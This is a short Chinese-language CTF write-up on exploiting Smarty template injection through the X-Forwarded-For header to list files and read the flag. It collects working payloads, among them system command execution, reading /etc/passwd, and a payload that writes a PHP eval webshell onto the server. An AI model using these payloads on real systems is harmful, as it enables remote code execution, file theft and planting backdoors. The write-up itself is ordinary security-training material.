知识点: SSTI smarty X-Forwarded-For
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示
(HTML/CSS)代码分离的功能。对于该框架的SSTI漏洞很多
文章往往只是一笔带过,讲解的重心往往在flask等框架上。
看到这个我就想到了抓包修改XFF试试加入X-Forwarded-For 发现Current IP更改为相应值 回想到曾经做过的题,用SSTI 发现存在注入 获取当前目录有那些文件:X-Forwarded-For:{system(‘ls’)} 读取某个文件比如:X-Forwarded-For:{system(‘cat /api’)}。但是我试了以下的所有文件都没找到flag 换个思路,想想smarty,参考一些wp 一些smarty积累的payload:
{system('cat /flag')}
{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
常规利用
{$smarty.version}
{php}phpinfo();{/php}
<script language="php">phpinfo();</script>
{self::getStreamVariable("file:///etc/passwd")}
{if phpinfo()}{/if}
{if system('ls')}{/if}
{system(‘cat /flag’)} {$smarty.version} #获取smarty的版本号 {php}phpinfo();{/php} Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。所以只能另找方法
对于php5的环境我们就可以使用,其它版本不行 {self::getStreamVariable(“file:///etc/passwd”)} 可见这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。 {if phpinfo()}{/if} 所以直接流程
{if system('ls')}{/if}
{if system(‘ls /’)}{/if} {if system(‘cat /flag’)}{/if} 得到flag
|